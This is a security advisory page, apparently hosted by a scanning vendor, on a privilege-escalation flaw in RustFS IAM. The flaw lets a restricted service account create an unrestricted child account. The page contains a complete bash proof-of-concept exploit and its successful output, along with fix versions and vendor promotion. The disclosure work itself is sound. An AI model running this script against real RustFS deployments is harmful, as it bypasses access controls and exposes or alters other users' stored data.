GHSA-xgr5-qc6w-vcg9
RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
rustfsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A flawed deny_only short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.
Details
akin to MinIO CVE-2025-62506
- Policy evaluation:
Policy::is_allowedreturns true whendeny_only=trueif no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74). - Service account creation path sets
deny_only=truewhen the target user equals the caller or its parent (rustfs/src/admin/handlers/service_account.rs:114-127). - Service accounts are created without
session_policyby default, so claims lackSESSION_POLICY_NAME; combined withdeny_only, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.
Key code references:
crates/policy/src/policy/policy.rs(deny_only short-circuit)rustfs/src/admin/handlers/service_account.rs:(deny_only set for self/parent target)crates/iam/src/sys.rs(service account creation defaults, no session_policy)
PoC
Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:
#!/usr/bin/env bash
set -euo pipefail
# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"
# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"
# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost
# ===================== Helpers =====================
aws_cmd() {
local ak="$1" sk="$2"
shift 2
AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}
awscurl_admin() {
local ak="$1" sk="$2"
shift 2
AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
"$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}
timestamp_iso() {
python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}
# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done
echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done
# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done
echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt
EXP="$(timestamp_iso)"
echo "[+] create restricted policy"
RESTRICTED_POLICY='{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:ListBucket"],
"Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
},
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
}
]
}'
echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
-H 'Content-Type: application/json' \
-d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
'{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
> /tmp/restricted_sa.json
cat /tmp/restricted_sa.json
echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls
echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
-H 'Content-Type: application/json' \
-d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
'{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
> /tmp/child_sa.json
cat /tmp/child_sa.json
echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
echo "child list bucket3: SUCCESS (vuln)"
else
echo "child list bucket3: DENIED"
fi
echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
echo "child read marker: SUCCESS (vuln). Content:"
cat /tmp/poc-marker.txt
else
echo "child read marker: DENIED"
fi
echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
echo "child write: SUCCESS (vuln)"
else
echo "child write: DENIED"
fi
PoC steps (in poc.sh):
- Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with
poc-marker.txt. - Create restricted policy (List/Get/Put only on bucket1/2).
- Create restricted service account
restricted/restricted123with that policy. - With
restricted, create child service accountevilchild/evilchild123without policy (deny_only short-circuit). - With
evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.
Result:
./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17 11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)
Impact
Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | rustfs | ≥ 1.0.0-alpha.13&&< 1.0.0-alpha.79 | 1.0.0-alpha.79 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rustfs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update rustfs to 1.0.0-alpha.79 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgr5-qc6w-vcg9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xgr5-qc6w-vcg9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xgr5-qc6w-vcg9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xgr5-qc6w-vcg9 in your dependencies?
O3 detects GHSA-xgr5-qc6w-vcg9 across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.